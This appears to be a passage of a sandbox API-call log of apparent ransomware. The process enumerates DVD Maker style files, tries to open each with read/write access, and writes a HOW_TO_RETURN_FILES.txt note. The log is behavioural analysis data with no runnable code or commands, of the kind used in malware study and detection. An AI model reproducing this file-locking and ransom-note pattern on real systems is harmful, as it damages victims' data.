GetACP () returned 0x4e4 [0125.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Bear_Formatted_RGB6_PAL.wmv", cchWideChar=27, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Bear_Formatted_RGB6_PAL.wmvmv", lpUsedDefaultChar=0x37dec0) returned 27 [0125.617] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.617] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.617] AreFileApisANSI () returned 1 [0125.617] GetACP () returned 0x4e4 [0125.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="btn-back-static.png_PAL.wmv", lpUsedDefaultChar=0x37dec0) returned 19 [0125.617] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.618] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.618] AreFileApisANSI () returned 1 [0125.618] GetACP () returned 0x4e4 [0125.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="btn-next-static.png", lpUsedDefaultChar=0x37dec0) returned 19 [0125.618] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.618] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.618] AreFileApisANSI () returned 1 [0125.618] GetACP () returned 0x4e4 [0125.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="btn-previous-static.png.wmv", lpUsedDefaultChar=0x37dec0) returned 23 [0125.619] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.619] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.619] AreFileApisANSI () returned 1 [0125.619] GetACP () returned 0x4e4 [0125.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="button-highlight.pngpng", lpUsedDefaultChar=0x37dec0) returned 20 [0125.619] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.619] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.619] AreFileApisANSI () returned 1 [0125.619] GetACP () returned 0x4e4 [0125.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="chapters-static.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="chapters-static.pngg", lpUsedDefaultChar=0x37dec0) returned 19 [0125.619] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.620] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.620] AreFileApisANSI () returned 1 [0125.620] GetACP () returned 0x4e4 [0125.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="content-background.pngg", lpUsedDefaultChar=0x37dec0) returned 22 [0125.620] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.620] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.620] AreFileApisANSI () returned 1 [0125.620] GetACP () returned 0x4e4 [0125.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="content-foreground.png", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="content-foreground.png", lpUsedDefaultChar=0x37dec0) returned 22 [0125.620] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.620] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.620] AreFileApisANSI () returned 1 [0125.620] GetACP () returned 0x4e4 [0125.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="curtains.png", cchWideChar=12, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="curtains.pngground.png", lpUsedDefaultChar=0x37dec0) returned 12 [0125.620] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.621] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.621] AreFileApisANSI () returned 1 [0125.621] GetACP () returned 0x4e4 [0125.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="flower_precomp_matte.wmv", cchWideChar=24, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="flower_precomp_matte.wmvwmv", lpUsedDefaultChar=0x37dec0) returned 24 [0125.621] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.621] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.621] AreFileApisANSI () returned 1 [0125.621] GetACP () returned 0x4e4 [0125.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="flower_PreComp_MATTE_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="flower_PreComp_MATTE_PAL.wmvv", lpUsedDefaultChar=0x37dec0) returned 28 [0125.621] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.622] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.622] AreFileApisANSI () returned 1 [0125.622] GetACP () returned 0x4e4 [0125.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="flower_trans_matte.wmv", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="flower_trans_matte.wmvAL.wmv", lpUsedDefaultChar=0x37dec0) returned 22 [0125.622] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.622] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.622] AreFileApisANSI () returned 1 [0125.622] GetACP () returned 0x4e4 [0125.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="flower_trans_MATTE_PAL.wmv", cchWideChar=26, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="flower_trans_MATTE_PAL.wmvmv", lpUsedDefaultChar=0x37dec0) returned 26 [0125.622] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.622] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.622] AreFileApisANSI () returned 1 [0125.622] GetACP () returned 0x4e4 [0125.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="flower_trans_rgb.wmv", cchWideChar=20, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="flower_trans_rgb.wmvAL.wmv", lpUsedDefaultChar=0x37dec0) returned 20 [0125.622] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.623] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.623] AreFileApisANSI () returned 1 [0125.623] GetACP () returned 0x4e4 [0125.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="flower_trans_RGB_PAL.wmv", cchWideChar=24, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="flower_trans_RGB_PAL.wmvmv", lpUsedDefaultChar=0x37dec0) returned 24 [0125.623] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.623] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.623] AreFileApisANSI () returned 1 [0125.623] GetACP () returned 0x4e4 [0125.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="highlight.pngRGB_PAL.wmv", lpUsedDefaultChar=0x37dec0) returned 13 [0125.623] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.624] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.624] AreFileApisANSI () returned 1 [0125.624] GetACP () returned 0x4e4 [0125.624] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mainimage-mask.png", cchWideChar=18, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="mainimage-mask.pngAL.wmv", lpUsedDefaultChar=0x37dec0) returned 18 [0125.624] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.624] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.624] AreFileApisANSI () returned 1 [0125.624] GetACP () returned 0x4e4 [0125.624] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="notes-static.png", cchWideChar=16, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="notes-static.pngng", lpUsedDefaultChar=0x37dec0) returned 16 [0125.624] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.625] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.625] AreFileApisANSI () returned 1 [0125.625] GetACP () returned 0x4e4 [0125.625] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="play-static.png", cchWideChar=15, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="play-static.pngg", lpUsedDefaultChar=0x37dec0) returned 15 [0125.625] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.625] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.625] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.626] AreFileApisANSI () returned 1 [0125.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0125.626] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.627] GetFileType (hFile=0x130) returned 0x1 [0125.627] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.627] AreFileApisANSI () returned 1 [0125.628] GetACP () returned 0x4e4 [0125.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BlackRectangle.bmp", cchWideChar=18, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BlackRectangle.bmpdeoInset.png", lpUsedDefaultChar=0x37df4c) returned 18 [0125.628] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.628] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.628] AreFileApisANSI () returned 1 [0125.628] GetACP () returned 0x4e4 [0125.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="circleround_glass.png", cchWideChar=21, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="circleround_glass.pngInset.png", lpUsedDefaultChar=0x37df4c) returned 21 [0125.628] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.629] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.629] AreFileApisANSI () returned 1 [0125.629] GetACP () returned 0x4e4 [0125.629] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="circleround_selectionsubpicture.png", cchWideChar=35, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="circleround_selectionsubpicture.png.png", lpUsedDefaultChar=0x37df4c) returned 35 [0125.629] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.629] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.629] AreFileApisANSI () returned 1 [0125.629] GetACP () returned 0x4e4 [0125.629] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="circleround_videoinset.png", cchWideChar=26, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="circleround_videoinset.pngcture.png", lpUsedDefaultChar=0x37df4c) returned 26 [0125.630] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.630] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.630] AreFileApisANSI () returned 1 [0125.630] GetACP () returned 0x4e4 [0125.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Circle_ButtonGraphic.png", cchWideChar=24, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Circle_ButtonGraphic.pngng", lpUsedDefaultChar=0x37df4c) returned 24 [0125.630] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.630] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.630] AreFileApisANSI () returned 1 [0125.630] GetACP () returned 0x4e4 [0125.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="circle_glass_Thumbnail.bmp", cchWideChar=26, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="circle_glass_Thumbnail.bmp", lpUsedDefaultChar=0x37df4c) returned 26 [0125.630] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.630] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.630] AreFileApisANSI () returned 1 [0125.630] GetACP () returned 0x4e4 [0125.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureA.png", cchWideChar=31, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Circle_SelectionSubpictureA.png.png", lpUsedDefaultChar=0x37df4c) returned 31 [0125.630] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.631] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.631] AreFileApisANSI () returned 1 [0125.631] GetACP () returned 0x4e4 [0125.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureB.png", cchWideChar=31, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Circle_SelectionSubpictureB.png", lpUsedDefaultChar=0x37df4c) returned 31 [0125.631] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.631] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.631] AreFileApisANSI () returned 1 [0125.631] GetACP () returned 0x4e4 [0125.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Circle_VideoInset.png", cchWideChar=21, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Circle_VideoInset.pngctureB.png", lpUsedDefaultChar=0x37df4c) returned 21 [0125.631] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.632] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.632] AreFileApisANSI () returned 1 [0125.632] GetACP () returned 0x4e4 [0125.632] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="cloud_Thumbnail.bmp", cchWideChar=19, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="cloud_Thumbnail.bmpng", lpUsedDefaultChar=0x37df4c) returned 19 [0125.632] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.632] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.632] AreFileApisANSI () returned 1 [0125.632] GetACP () 